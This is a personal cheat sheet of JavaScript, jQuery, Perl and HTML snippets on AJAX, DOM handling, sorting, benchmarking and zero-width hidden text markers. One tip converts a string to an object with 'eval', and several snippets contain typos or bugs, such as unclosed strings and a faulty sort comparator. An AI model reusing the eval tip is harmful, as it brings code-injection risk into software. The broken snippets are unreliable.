# Zero-width example of hiding text in a text area (plain text, POC, WIP)
perl -C -Me -E 'sub _BuildMark{ unpack("B*", "<!$_[0]-->") =~ tr/01/\N{ZERO WIDTH SPACE}\N{LEFT-TO-RIGHT MARK}/r } sub _ContainsMark { index(shift, _BuildMark(shift)) != -1 } $_ = join "", "Before\n", _BuildMark("START_ABC"), "Line1: Ok\nLine2: NOk", _BuildMark("END_ABC"), "\nAfter"; say; say _ContainsMark($_, "START_ABC") ? "Got" : "Gone"; my $Start = _BuildMark("START_ABC"); my $End = _BuildMark("END_ABC"); s{ $Start .*? $End }{}gxs; say ""; say; say _ContainsMark($_, "START_ABC") ? "Got" : "Gone";'
#############################################################
## HTML - Validation
#############################################################
# Input element validation in html (check,regex)
<input name="NAME" type="number" placeholder="?" step="any" class="value" style="grid-column: 5 / 6; grid-row: 2 / 3;" value="4.000">
<input name="name" type="text" pattern="^[-\wÄäÖöÜü\.,_]+$" value="VALUE">
#############################################################
## Java
#############################################################
# Compile a java program (script)
javac hello.java
# Run a java program (execute script)
java hello
#############################################################
## Javascript - General
#############################################################
# Efficient way in javascript to insert text as html (append to body)
document.querySelector('#id').insertAdjacentHTML('beforeEnd', to_add)
# (works fast, but script tags are not usable).
#
# Use this to allow using script tags
$(id).append(details_rc);
# Stack trace in javascript (js).
try {
// Code throwing an exception
throw new Error();
} catch(e) {
console.log(e.stack);
}
# Javascript log function wrapper.
log (...args) {
const verbose = false;
if (verbose) {
console.log(`[${this.name}]`, ...args);
}
},
#############################################################
## Javascript - Ajax
#############################################################
# Javascript loaded in via ajax is not automatically executed.
# AJAX Javascript Example
function loadDoc() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "ajax_info.txt", true);
xhttp.send();
}
# AJAX Javascript Example (simpler)
# 'onload' is newer and a replacement for 'onreadystatechange' with the state check
function loadDoc() {
var xhttp = new XMLHttpRequest();
xhttp.onload = function() { // <== Difference
document.getElementById("demo").innerHTML = this.responseText;
};
xhttp.open("GET", "ajax_info.txt", true);
xhttp.send();
}
# Submit a form using ajax. (prevents auto reload)
function save_details(endpoint) {
console.log("POST ", endpoint);
const form = document.querySelector("form[id=details]");
const xhttp = new XMLHttpRequest();
xhttp.open("POST", endpoint);
xhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhttp.send( $("#details").serialize() );
}
#############################################################
## Javascript - Attributes
#############################################################
# Set/Get meta data for an HTML element
form = document.querySelector("form[id=details]");
form.setAttribute('_meta', "my_meta")
form.getAttribute('_meta')
#############################################################
## Javascript - Benchmark
#############################################################
# Time a function in javascript (benchmark)
# Not really accurate
const startTime = new Date().getTime();
const endTime = new Date().getTime();
console.log("sort function took " + (endTime-startTime) + "(ms)")
# Function for benchmarking different code snippets (timing,testing,profiling)
# Simple.
function benchmark(functions,iterations=1) {
for(const code of functions){ // foreach loop in javascript
const name = code.name; // Code refence to name
console.time(name); // Timing/benchmarking function
for(let i = 1; i <= iterations; i++ )
code();
console.timeEnd(name);
}
}
# Usage
benchmark([get_head_checkbox, get_head_checkbox2]);
benchmark([get_head_checkbox, get_head_checkbox2],10000);
# Function for benchmarking different code snippets (timing,testing,profiling)
# Includes percentages and sorted.
// function benchmark() {
// // Get inputs
// let code_refs = [...arguments];
// let iterations = 1;
// const last_index = code_refs.length - 1;
//
// // Check last input
// if(typeof(code_refs[last_index]) == "number")
// iterations = code_refs.pop();
//
// // Check for tests
// if(!code_refs.length)
// return;
//
// const stats = [];
//
// // Get statistics
// for(const code of code_refs){ // foreach loop in javascript
// const t0 = performance.now(); // High precision time
// for(let i = 1; i <= iterations; i++ ) // Run a specified amount of times
// code();
// const time = (performance.now()-t0).toFixed(2);
// stats.push({name: _get_code_name(code), time: time});
// }
//
// // Sort statistics: fastest (lowest time) first
// stats.sort((a,b) => (Number(a.time) >= Number(b.time)) ? 1 : -1);
//
// // Baseline to compare with
// const longest_time = stats[stats.length-1]["time"];
//
// // Add percentage to each test set
// for(const set of stats){
// const time = set.time;
// const percent = ((longest_time-time)/time*100).toFixed(0);
// set.percent = percent;
// }
//
// // Print statistics
// console.table(stats);
// }
//
# Javascript function to convert a block of code to a name
// function _get_code_name(code) {
// const name = code.name; // Code reference to name
// let toString = code.toString(); // Code reference to name
//
// if(name)
// return name;
//
// const is_anon_function1_start = /^\s*function\(\)\s*{\s*/; // function(){ code }
// const is_anon_function1_end = /\s*}$/;
// const is_anon_function2_start = /^\s*\(\s*\)\s*=>\s*{\s*/; // () => { code }
// const is_anon_function2_end = /\s*}$/;
// const is_anon_function3_start = /^\s*\(\s*\)\s*=>\s*(?!{)/; // () => code
// const is_anon_function3_end = /\s*$/;
//
// if(toString.match(is_anon_function1_start)){ // function(){ code }
// toString = toString
// .replace(is_anon_function1_start, "")
// .replace(is_anon_function1_end, "");
// }
// else if(toString.match(is_anon_function2_start)){ // () => { code }
// toString = toString
// .replace(is_anon_function2_start, "")
// .replace(is_anon_function2_end, "");
// }
// else if(toString.match(is_anon_function3_start)){ // () => code
// toString = toString
// .replace(is_anon_function3_start, "")
// .replace(is_anon_function3_end, "");
// }
//
// return toString;
// }
//
# Usage
benchmark(myfunc, myfunc2);
benchmark(myfunc, myfunc2,10000);
benchmark(myfunc, function(){ $('#table .row :checkbox') }, () => { $('#id') },() => $('#id') ,1000)
#############################################################
## Javascript - Callbacks
#############################################################
# Simple nameless function (coderef,annonym)
# No inputs.
#
# Perl
$greet = sub{ qq(Hello bob) }
print $greet->()
#
# JS
greet = () => `Hello bob`
greet = () => { return `Hello bob` }
greet()
# Simple nameless function (coderef,annonym)
# Scalar input. (single)
#
# Perl
$greet = sub{ my($name) = @_; qq(Hello $name) }
print $greet->()
#
# JS
greet = (name) => `Hello ${name}`
greet = (name) => { return `Hello ${name}` }
greet("bob")
# Simple nameless function (coderef,annonym)
# Hash input. Scalar out.
#
# Perl
$greet = sub{ my($hash) = @_; qq(Hello $hash->{name}) };
print $greet->({name => 'bob'})
#
# JS
greet = ({name}) => `Hello ${name}`
greet = ({name}) => { return `Hello ${name}` }
greet({name:"bob"})
# Simple nameless function (coderef,annonym)
# Hash input. Hash out.
#
# Perl
$greet = sub{ my($hash) = @_; {msg => qq(Hello $hash->{name})} };
print $greet->({name => 'bob'})->{msg}
#
# JS
greet = ({name}) => { return {msg: `Hello ${name}`} }
greet({name:"bob"}).msg
# Simple nameless function (coderef,annonym)
# Hash input. Hash out.
#
# Perl
$greet = sub{ my($hash) = @_; {msg => qq(Hello $hash->{name}), age => qq(You are $hash->{age})} };
$greet = sub{ $h=shift; {msg => qq(Hello $h->{name}), age => qq(You are $h->{age})} }; # Shorter
$params = {name => 'bob', age => 18};
print $greet->($params)->{msg};
print $greet->($params)->{age}
#
# JS
greet = ({name,age}) => { return {msg: `Hello ${name}`, age: `You are ${age}`} }
params = {name:"bob", age: 18}
greet(params).msg
#greet(params).age
#############################################################
## Javascript - Checkbox
#############################################################
# Check/uncheck a box in javascript
document.querySelector("input[name=NAME]").checked = true
document.querySelector("input[name=NAME]").checked = false
if(document.querySelector("input[name=NAME]").checked) ...
# CSS Selector for a checked checkbutton (input)
document.querySelectorAll(".row input[type='checkbox']:checked")
# CSS Selector for all the unchecked checkbutton (input)
document.querySelectorAll(".row input[type='checkbox']:not(:checked)")
#############################################################
## Javascript Content - Copy
#############################################################
# Make a clone/copy of an element. (html,javascript)
const svg_logo = document.querySelector(".logo svg").cloneNode(true);
# svg must be put in its own container (like a div) to be used.
#############################################################
## Javascript - Date
#############################################################
# Date arithmetic in Javascript (add 90 days to a date)
date = new Date();
date.setDate(date.getDate()+90);
# Build a date in Javascript.
function buildDate (time) {
const date = new Date();
date.setHours(time.split(':'), 0);
return date;
}
# Timestamp in javascript
function _pad(n) {
return n < 10 ? '0' + n : n;
}
// function make_timestamp() {
// const date = new Date();
// const timestamp = // 2020-10-06_09-12-10
// date.getFullYear() +
// "-" +
// _pad(date.getMonth()+1) +
// "-" +
// _pad(date.getDate()) +
// "_" +
// _pad(date.getHours()) +
// "-" +
// _pad(date.getMinutes()) +
// "-" +
// _pad(date.getSeconds());
//
// return timestamp;
// }
// function make_timestamp_yyyy_mm_dd(date) {
// const timestamp = // 2020-10-06
// date.getFullYear() +
// "-" +
// _pad(date.getMonth()+1) +
// "-" +
// _pad(date.getDate());
//
// return timestamp;
// }
# Javascript get the hours between two times within a 24 hours period of time (same day).
startTime = new Date('01/01/2021 ' + '15:00:00')
endTime = new Date('01/01/2021 ' + '16:30:00')
diff = new Date(null)
diff.setMilliseconds(endTime - startTime)
diff.getUTCHours()
# Javascript ceiling function.
Math.ceil(9.2) # 10
#############################################################
## Javascript - Events
#############################################################
# Capture javascript double click events
divOption.addEventListener("dblclick", () => {
switchToNewOption(index);
document.querySelector("#filterInput").focus();
});
# addEventListener useCapture parameter meaning (javascript)
//
window.addEventListener('load', function() {
alert("All done");
}, false);
//
child.addEventListener("click", second);
parent.addEventListener("click", first, true);
when clicking child element, first method will be called before second.
# Add a function to an event (HTML Event Listener)
is_no_automatic_change.addEventListener("change", validate_general_tab_checks);
document.querySelector("input[name=NAME]").addEventListener("change", myFunc)
# Remove a function from an event (HTML Event Listener)
document.querySelector("input[name=NAME]").removeEventListener("change", myFunc, false)
# Check if an event is set (HTML Event Listener)
getEventListeners(document.querySelector("input[name=NAME]")).change
#############################################################
## Javascript - Functions
#############################################################
# Javascript function name (like __FUNCTION__)
console.log(arguments.callee.name);
# => arrow function expression in JavaScript
// The regular function above can be written as the arrow function below
elements.map((element) => {
return element.length;
}); // [8, 6, 7, 9]
# Javascript functions for getting the name of the calling functions
// function whoami(){
//
// return arguments.callee.caller.name;
// }
# Spread javascript array into a function arguments.
d = new Date();
d.setHours( ... [8, 0] );
d.setHours( ... '08:00'.split(':') )
# Call a javascript function with the scope/this of
an specific object.
MyFunc.call(myObj)
#############################################################
## Javascript - Grid
#############################################################
# JavaScript - gridTemplateRow
Size (height) of each row. One number per row
gridTemplateRow 3rem 4rem 5rem # set size of rows: 1, 2, 3
#############################################################
## Javascript - JSON
#############################################################
# Javascript string to object
JSON.parse('{"abc": "1"})
eval(`obj = ${data}`)
#############################################################
## Javascript - List
#############################################################
# Javascript filter a list according to a pattern (array)
const filterPattern = new RegExp("^" + input.value, "i");
const filteredOptions = options.filter(text => { return text.match(filterPattern) });
# Javascript last element of a list/array
activeOption.id.split("-").slice(-1)[0]
# Convert iterable like HTMLCollection to an array (Javascript)
# then apply a map to it.
Array.from(activeOption.parentElement.children).map(o => {return o.id})
# Find the index of an array element in javascript
[4,5,6].indexOf(6)
# Javascript merge arrays (lists)
arr = [1,2,3]
arr2 = [11,12,13]
[arr,arr2]
(2) [Array(3), Array(3)]
[ ...arr, ...arr2 ]
(6) [1, 2, 3, 11, 12, 13]
# Javascript range operator alternatives. (100...500)
Array(400).fill().map( (_,i) => i+100)
#
# Usage:
ids = Array(490).fill().map( (_,i) => '000_auto_' + (i+10+1)).join(',')
remove_rows(ids)
#############################################################
## Javascript - Loops
#############################################################
# Javascript for each loop (foreach).
list.forEach(item => { ... }); # Can NOT use loop conditions.
#
for ( var item of list ) { ... } # CAN use loop conditionls (like break).
#############################################################
## Javascript - Local Storage
#############################################################
# Create a file which the user can download
# function downloadForm() {
# const fileNameToSaveAs = 'out.xml';
# const textToWrite = "hello world";
#
# /* Saves a text string as a blob file*/
# const ie = navigator.userAgent.match(/MSIE\s([\d.]+)/);
# const ie11 = navigator.userAgent.match(/Trident\/7.0/) && navigator.userAgent.match(/rv:11/);
# const ieEDGE = navigator.userAgent.match(/Edge/g);
# const ieVer =(ie ? ie[1] : (ie11 ? 11 : (ieEDGE ? 12 : -1)));
#
# if (ie && ieVer<10) {
# console.log("No blobs on IE ver<10");
# return;
# }
#
# const textFileAsBlob = new Blob([textToWrite], {
# type: 'text/plain'
# });
#
# if (ieVer>-1)
# window.navigator.msSaveBlob(textFileAsBlob, fileNameToSaveAs);
# else
# $("<a>").attr({
# download: fileNameToSaveAs,
# href: window.URL.createObjectURL(textFileAsBlob),
# })
# .on("click", function(e){ document.body.removeChild(e.target) })
# .hide()
# .appendTo("body")
# .get(0)
# .click();
# }
#############################################################
## Javascript - Math
#############################################################
# Javascript float to integer
Math.trunc(3.5)
# Javascript round to 2 decimal places.
4.125456.toFixed(2)
parseFloat("4.125456").toFixed(1) // String to float, then rounded
# Javascript truncate a number. Integer part only. Remove decimal point.
Math.trunc(19/60)
#############################################################
## Javascript - Objects/Hash
#############################################################
# Javascript check if key exists in a object/hash
"my_key" in machines
# Javascript variable name as object key
a="abc"
h={[a]: 123}
// h = {abc: 123}
# Javascript merge objects (hashes)
h1 = {"a":1, "b":2}
h2 = {"a2":12, "b2":22}
h2 = { ...h1, ...h2 }
#############################################################
## Javascript - Query
#############################################################
# Get the first option of a selection
document.getElementById("selection").options[0].value
# Multiple cells or return values from a query
document.querySelectorAll("#id1, #id2")
#############################################################
## Javascript - Regex
#############################################################
# Using a variable inside a Javascript pattern
const filterPattern = new RegExp("^" + input.value, "i");
# JavaScript regex
# 0 - Whole group
# 1 - First parenthesis
(document.querySelector("#table").style.gridTemplateRows.match(/repeat\(\s*(\d+)\s*,\s*min-content/))[1]
# Javascript replace function syntax (regex)
let newPageUrl = currentPageURL.replace(/\/([a-zA-Z_]+=.*)/, "");
#############################################################
## Javascript - Scroll
#############################################################
# Javascript element scrolling if needed
if(goingUp){
// avtiveOption.scrollIntoView(true);
avtiveOption.scrollIntoView({behavior: "smooth", block: "end", inline: "nearest"});
}
else{
avtiveOption.scrollIntoView({behavior: "smooth", block: "start", inline: "nearest"});
// avtiveOption.scrollIntoViewIfNeeded(true);
}
# Enable/Disable scrollbars (CSS,style)
function disable_scrollbars () {
document.querySelector("#table").style.overflow = "hidden";
}
function enable_scrollbars () {
document.querySelector("#table").style.overflow = "auto";
}
# Get/Set scroll position (CSS,style)
function get_scroll_position() {
return document.querySelector("#table").scrollTop;
}
function set_scroll_position(pos) {
document.querySelector("#table").scrollTop = pos;
}
#############################################################
## Javascript - Sort
#############################################################
# Javascript sort a list numerically in place
const arr = [1,2,11,3];
arr.sort( (a,b) => {return a - b } );
# Case insensitive sort in javascript
Object.keys(toolstoreNames)
.map(n => [n, n.toLowerCase()])
.sort( (a,b) => {return a >= b ? 1 : -1})
.map(n => n[0])
# Binary sort and insert in javascript
// function _dom_add_job(row) {
// console.log("_dom_add_job_row(): ", row);
//
// // Input
// let $row;
// if(typeof(row) == "string")
// $row = $(document.getElementById(row));
// else
// $row = $(row);
//
// // Error checks
// if($row.length == 0){
// console.error(`_dom_add_job(): row with id='${row}' not found!`)
// return;
// }
//
// // Row id
// let row_id = $row.attr("id");
// if(row_id == null)
// row_id = "";
// // console.log(`row_id: ${row_id}`);
//
// // Table of rows (exluding the desired row)
// $rows = $('#table .row').not($row).map( (_,el) => [[el,el.id]] );
// const FIRST = 0; // Obviously
// const LAST = $rows.length - 1;
// const ELEM = 0;
// const ID = 1;
//
// // Determine where to move the desired row.
// if($rows.length == 0){ // Empty table
// // console.log("- Insert before #last_row");
// $row.insertBefore('#last_row');
// }
// else if(row_id < $rows[FIRST][ID]){ // Before first row
// // console.log("- Insert FIRST", $rows);
// $row.insertBefore($rows[FIRST][ELEM]);
// }
// else if(row_id > $rows[LAST][ID]){ // After last row
// // console.log("- Insert LAST", $rows);
// $row.insertAfter($rows[LAST][ELEM]);
// }
// else { // In the middle (binary search)
// // console.log("- Insert somewhere else!", $rows);
// let first = FIRST;
// let last = LAST;
// let mid;
// // console.log(`START: first=${first}, mid=${mid}, last=${last}`, $rows[mid][ID]);
//
// while(first < last) {
// mid = first + Math.trunc( (last-first) / 2 );
// // console.log(`first=${first}, mid=${mid}, last=${last}`);
//
// if(row_id > $rows[mid][ID]){
// // console.log("RIGHT");
// first = mid + 1;
// }
// else {
// // console.log("LEFT");
// last = mid;
// }
// }
//
// mid = first + Math.trunc( (last-first) / 2 );
// // console.log(`END: first=${first}, mid=${mid}, last=${last}`);
// $row.insertBefore($rows[mid][ELEM]);
// }
//
// return $rows;
// }
#############################################################
## Javascript - Spinner
#############################################################
# Function to show a loading spinner
function show_loading(){
const screen = document.querySelector("#glass");
#
// Return if we already have a screen up.
if(screen.children.length)
return;
#
const canvas = document.createElement("canvas");
const spinner = document.createElement("div");;
const svg_box = document.createElement("div");
const logo = document.querySelector(".logo svg").cloneNode(true);
canvas.className = "center";
spinner.className = "center loader";
svg_box.className = "center loading-svg";
#
screen.append(canvas);
screen.append(spinner);
screen.append(svg_box);
svg_box.appendChild(logo);
#
svg_box.addEventListener("click", hide_loading);
show_glass();
#
// Setup
const radius = 75; // Inner circle radius
const ctx = canvas.getContext('2d');
const centerX = canvas.width / 2;
const centerY = canvas.height / 2;
ctx.beginPath();
#
// Draw shape
ctx.arc(centerX, centerY, radius, 0, 2 * Math.PI, false);
ctx.fillStyle = '#ffffff'; // light grey
ctx.fill();
}
# Create a simple CSS/HTML animation (blink an element)
.blink {
animation: blinker 2s linear infinite;
}
@keyframes blinker {
50% {
opacity: 0.5;
}
}
# Function to unshow the loading spinner
function hide_loading(){
const screen = document.querySelector("#glass");
#
if(screen.children.length){
setTimeout(() => {
while(screen.firstChild)
screen.removeChild(screen.firstChild);
hide_glass();
}, 500);
}
else{
hide_glass();
}
}
# CSS for the loading spinner
.center {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
}
.loading-svg {
width: 5.7375rem;
height: 2.23125rem;
cursor: pointer;
}
.loading-svg svg > path, .loading-svg svg > ellipse, .loading-svg svg > rect {
fill: #888;
}
.loading-svg svg > .thicker {
fill: #888;
}
.loading-svg svg > .thinner {
fill: #777;
}
.loader {
border-top: 2px solid #777; /* dark */
border-bottom: 2px solid #777; /* dark */
border-left: 2px solid #ccc; /* light */
border-right: 2px solid #ccc; /* light */
border-radius: 50%;
height: 150px; /* Diameter of ring */
width: 150px; /* Diameter of ring */
margin-top: -77px; /* height/2 + border */
margin-left: -77px; /* width/2 + border */
animation: spin 3s linear infinite;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
#############################################################
## Javascript - Strings
#############################################################
# Capitalize first letter of a word in Javascript
string = string.charAt(0).toUpperCase() + string.slice(1);
# Addition versus concatenation (javascript,to integer)
5 + 2 => 7
"5" + "2" => 52
"5" + 2 => 52
Number("5") + Number("2") => 7
Number("5") + 2 => 7
# Javascript convert a string to lowercase (uppercase is similar)
"AAA".toLowerCase()
# Javascript check if a variable is defined
if(typeof file_root_name == 'undefined'){
return;
}
if(file_root_name == null){
return;
}
# String interpolation in javascript (only with backticks and curlys)
n = 123
console.log("here is: ${n}") // here is: ${n}
console.log('here is: ${n}') // here is: ${n}
console.log(`here is: ${n}`) // here is: 123
console.log(`here is: $n` ) // here is: $n
# Encode a url using Javascript
encodeURI('159278 #01')
159278%20#01
#
# Better Javascript encoding
encodeURIComponent('159278 #01')
159278%20%2301
#############################################################
## Javascript - WebSockets
#############################################################
# Create a websocket in Javascript (usage)
const ws = new WebSocket(`ws://${location.host}/${module}.ws`);
//
ws.send(JSON.stringify(data));
//
ws.onmessage = msg => {
try {
const data = JSON.parse(msg.data);
console.log("onmessage msg: ", msg);
} catch(e) {
console.error(e, msg.data);
}
}
#############################################################
## Javascript - Window
#############################################################
# JavaScript force reload/refresh a webpage
# Like Control + F5 in Chrome
window.location.reload();
location.reload(1)
# Javascript redirect to another page like the anchor tag would do
window.location.href = "http://www.w3schools.com";
#############################################################
## Javascript Commands - appendChild
#############################################################
# Import a javascript file dynamically
function import_js(file) {
const script = document.createElement("script");
script.src = file;
document.querySelector("#id").appendChild(script);
}
#############################################################
## Javascript Commands - getBoundingClientRect
#############################################################
# Javascript function to check if child element is visible in the parent
function isVisible(element,parent) {
const elementBox = element.getBoundingClientRect();
const parentBox = parent.getBoundingClientRect();
let visible = 0;
let up;
if(elementBox.top < parentBox.top){
up = 1;
}
else if(elementBox.bottom > parentBox.bottom){
up = 0;
}
else {
visible = 1;
}
return {visible: visible, up: up};
}
//
// Usage
const view = isVisible( activeOption, OptionsDiv );
if(! view.visible){
activeOption.scrollIntoView(view.up);
}
#############################################################
## Javascript Commands - removeChild
#############################################################
# Remove all the children of an element (javascript)
while(element.firstChild)
element.removeChild(element.firstChild);
#############################################################
## Javascript Commands - table
#############################################################
# Output a table from data in Chrome console
console.table([{a:1,b:2},{a:3,b:4},{b:5,a:2}])
#############################################################
## JQuery - Ajax
#############################################################
# Submit a form using ajax. (structured format,compact)
function submit_form(file_root_name) {
const endpoint = "/my_endpoint";
console.log("POST ", endpoint);
$.ajax({
url: endpoint,
headers: {
'Content-type': 'application/x-www-form-urlencoded',
},
method: 'POST',
data: $("#id").serialize(),
});
}
# GET request using ajax
$.ajax({
url: path,
method: 'GET',
success: (data, status, xhr) => {
body.innerHTML += data;
},
error: (xhr,status,reason) => {
cancel_callback();
if(status == "timeout"){
alert("ERROR Making request);
}
else{
const data = xhr.responseText;
console.log(`status: ${status}, data: ${data}, reason: ${reason}, xhr: `, xhr);
show_error_dialog(data);
}
},
});
#############################################################
## JQuery - Attributes
#############################################################
// Remove an attribute in jQuery
$('.ui-tooltip[id*=ui-id-]')
.clone()
.removeAttr("id")
.removeAttr("opacity")
.appendTo("body");
#############################################################
## JQuery - Benchmark
#############################################################
# Avoiding the Universal selector (JQuery,Optimizations,Permformance,Speed)
$('form :checkbox'); // Same ...
$('form *:checkbox'); // as this.
$('form input:checkbox'); // 200% faster
$('input:checkbox', 'form'); // Best
#
benchmark(()=>$('#table .row :checkbox'), ()=>$('#table .row input:checkbox'), ()=> $('#table .row *:checkbox'), ()=>$('.row input:checkbox', '#table'), ()=>$('input:checkbox', '#table .row'), ()=>$('#table .row input[type=checkbox]'),100)
0: $('#table .row input[type=checkbox]') 59.09ms (1124%)
1: $('#table .row input:checkbox') 205.39ms (252%)
2: $('.row input:checkbox', '#table') 212.22ms (241%)
3: $('#table .row *:checkbox') 663.52ms (9%)
4: $('input:checkbox', '#table .row') 719.50ms (1%)
5: $('#table .row :checkbox') 723.14ms (0%)
# Improving the Class selector (JQuery,Optimizations,Permformance,Speed)
# Combine the Element selector with the Class selector.
var $elements = $('p.description');
# Don’t abuse the context parameter (JQuery,Optimizations,Permformance,Speed)
# Dont need context when giving an ID
var $element = $('#test', 'div'); // Slow
var $element = $('#test'); // Faster
#
# Never prepend a tag name to an ID.
# This prevent jQuery from using the native getElementById()
$('p#test') // BAD
# Optimizing filters (JQuery,Optimizations,Permformance,Speed)
# Prefer functions over selectors.
#
$('p:visible'); // Not native CSS. Therefore slow
$('p').filter(':visible'); // Better
#
$(':reset'); // BAD
$('[type="reset"]'); // Better (using native attribute selector)
$('input[type="reset"]'); // Even better
#
$('#my-list li:eq(2)'); // Slow
$('#my-list li').eq(2); // Better
#
$('#my-list li:lt(2)'); // Slow
$('#my-list li').slice(0, 2); // Better
#
$('input[placeholder!="Name"]'); // Slow
$('input').not('[placeholder="Name"]'); // Fast
# Don’t overspecify selectors (JQuery,Optimizations,Permformance,Speed)
# jQuery relies on a selector engine, called Sizzle, that parses
# selectors from right to left.
# Put more specific on the right side and less specific on the left.
#
var $values = $('table.revenue .value'); // Slow?
var $values = $('.revenue span.value'); // Fast?
#
var $values = $("#table .header-row input#head-checkbox"); // Slow
var $values = $("#head-checkbox") // 300% faster
#
benchmark(()=> $('body > #main > #table > .row > label > input'), ()=> $('#table > .row > label > input'), ()=> $('#table .row label input'), ()=> $('#table div.row label input'), 1000)
$('#table div.row label input') 298.35ms (55%)
$('#table > .row > label > input') 315.16ms (47%)
$('body > #main > #table > .row > label > input') 344.43ms (34%)
$('#table .row label input') 462.05ms (0%)
# Fastest way in javascript to get part of a string (optimization)
_indexOf_substr 0.40ms (144253%)
_match 2.62ms (21939%)
_split 2.65ms (21689%)
_jquery 577.41ms (0%)
#
where:
function _indexOf_substr() { return data2.substr(data2.indexOf('<form id="details"')) }
function _match() { return data2.match(/(<form\s+id="details.*)/)[1] }
function _split() { return data2.split(/(?=<form\s+id="details.*)/)[1] }
function _jquery() { return $(data2).get(1) }
#############################################################
## JQuery - Browser
#############################################################
# View the different supported features for the browser (available,JQuery Book)
$.support
#############################################################
## JQuery Content - Check
#############################################################
# Run validity check on a form without actually submitting it (Javascript/JQuery)
$('<input type="submit">').hide().appendTo(form).click().remove();
#############################################################
## JQuery Content - Copy/Move
#############################################################
# Append a list of images to a list of places (jquery,copy,move)
const $sources = $('input:checked ~ img', '#source-pane');
const $targets = $('input:checkbox:checked', '#target-pane').parents('.target');
const operation = $('[name=operations]:checked').val(); // "append"
$targets[operation]($sources) // Same as
$targets.append($sources) // this (when operation = "append").
//
$targets.operation($sources) // Cannot do this
$targets.$operation($sources) // nor this (as we would do in perl)
# Appending html content (jquery,copy,move)
# Move versus copy
$source.appendTo($target)
$source.clone().appendTo($target)
# Commands for copying or moving in JQuery
append // $target.append($source) // Child
prepend // $target.prepend($source) // Child
after // $target.after($source) // Sibling
before // $target.before($source) // Sibling: $('#main').before( $('#table') )
//
appendTo // $source.appendTo($target)
prependTo // $source.prependTo($target)
insertAfter // $source.insertAfter($target)
insertBefore // $source.insertBefore($target)
# Examples of moving and copying elements using jquery (jquery,copy,move)
#
# Move
$('#source-pane img:eq(0)').appendTo('body')
$('body').append( $('#source-pane img:eq(0)') )
#
# Copy
$('#source-pane img:eq(0)').clone().appendTo('body')
$('body').append( $('#source-pane img:eq(0)').clone() )
# Create an element with a specific class and append it to a table (JQuery)
$('<div>Hello</div>').addClass("my").appendTo('#table')
# Swarztian sort of HTML in JQuery
function _sort_swartz() {
$('.row')
.map( (_,el) => [[el,$(el).find('.rowlink .cell:nth(0)').text()]] )
.sort((a,b) => {return (a[1] < b[1]) ? -1 : (a[1] > a[b]) ? 1 : 0 })
.map( (_,el) => el[0] )
.insertAfter('.header-row')
}
#############################################################
## JQuery Content - Remove
#############################################################
# Remove/Detach/Empty (JQuery)
# Remove removes all the elements and return a reference to the elements
# which can be used elsewhere. The Returned elements will lose data and
# event handlers.
# Detach is same like remove, but keep the data and events (like unpack in pTk).
# Empty clears out the contents of the element(s).
#############################################################
## JQuery Content - Selection
#############################################################
# Select a range of elements in jquery
$('.row').hide()
$('.row').slice(0,50).show()
# Check in JQuery if an element has a cetain class.
$("#blanket").hasClass("hidden")
# Look at all the parents of an html element (jquery)
$('#my').parents() // Append .get() to see more details
$('#my').parents('.target') // Search for a specific ancestor
# Find the first parent in the ancestry thats a "div"
$('#id').parents("div:eq(0)")
# Find out which radio button is checked and get its value (JQuery Book)
$("input:radio[name*='some-radio']:checked").val()
#############################################################
## JQuery Content - Update
#############################################################
# Add to element with JQuery
$('#id').html(data); // InnerHTML
$('#id').text(data); // InnerText
# Add a new attribute to an element in JQuery
$('[name="NAME"]').attr("abc", 123) // setAttribute("abc", 123)
$('[name="NAME"]').attr("abc") // getAttribute("abc")
# Wrap all labels and inputs/textarea pairs in a div (Jquery)
$('input, textarea').each( (i,el) => { $el = $(el); $el.add($el.prev("label")).wrapAll('<div class="field"></div>') } )
#############################################################
## JQuery Datepicker (calendar)
#############################################################
# Nice dialog to show the date in jquery (calendar)
<link rel="stylesheet" type="text/css" href="assets\jquery-ui-1.12.1.min.css">
<script src="assets\jquery-3.4.1.min.js"></script>
<script src="assets\jquery-ui-1.12.1.min.js"></script>
function setup_datapicker() {
$('#delivery_date')
.datepicker({dateFormat: "dd-mm-yy"})
.datepicker("setDate", new Date());
}
#############################################################
## JQuery - Events
#############################################################
# JQuery command to add an event to when a checkbox is clicked/changed
$("input[name=NAME]").change( function(){myfunc()} )
# By placing the script tag just before the closing body tag,
# you can avoid waiting for the DOM to fully load:
$(function(){ /* code here */ })
# Notify when the page is loaded (or ready for use)
<script src="https://code.jquery.com/jquery-3.4.1.js"></script>
<script>
$(function() {
$( "p" ).text( "The DOM is now loaded and can be manipulated." );
});
</script>
# Add/trigger/remove a click event (JQuery)
$('#btn').on('click', function(evt,n1,n2,n3){ console.log(n1,n2,n3) } )
$('#btn').trigger('click', [10,11,12])
$('#btn').off('click')
# Add a single one-shot click event (JQuery)
$('#btn').one('click', function(evt,n1,n2,n3){ console.log(n1,n2,n3) } )
$('#btn').trigger('click', [10,11,12])
# Shortcuts to adding and trigger in JQuery
# click() does not seem to work with inputs
$('#btn').click(function(){ "ABC" } )
$('#btn').click()
# Make a text field which only triggers after a few second delay (JQuery events)
# Nice for input filters.
// $('#myFilter').keyup(myEvent).focus();
//
// {
// let interval;
// function myEvent() {
// const self = this;
//
// // User is typing, so clear the interval
// clearInterval(interval);
//
// interval = setInterval(function() {
// // User is done type here
// clearInterval(interval);
// _filter_table_event(self);
// }, 1000);
// }
// }
#############################################################
## JQuery - Extensions
#############################################################
# JQeury Extension functions
jQuery.fn.visible = function() {
return this.css('visibility', 'visible');
};
jQuery.fn.invisible = function() {
return this.css('visibility', 'hidden');
};
#############################################################
## JQuery - Grid
#############################################################
# Jquery update grid-template-columns dynamically (javascript,css)
$('#table').css("grid-template-columns", `[left] repeat(${column_names.length}, min-content) [right]`);
#############################################################
## JQuery - Local Filesystem
#############################################################
# Run a batch script on windows (only for internet explorer)
const dir = "D:\\my\\ncfile\\dev\\";
const WshShell = new ActiveXObject("Wscript.Shell");
WshShell.run(dir + "assets\\run.bat > " + dir + "out.txt");
# Create a file on windows (only for internet explorer)
function _download_form_ie(file_path,xml_data) {
const fso = new ActiveXObject('Scripting.FileSystemObject');
const oFile = fso.CreateTextFile( file_path , true);
oFile.WriteLine (xml_data);
oFile.Close();
}
# Close current window in Internet Explorer
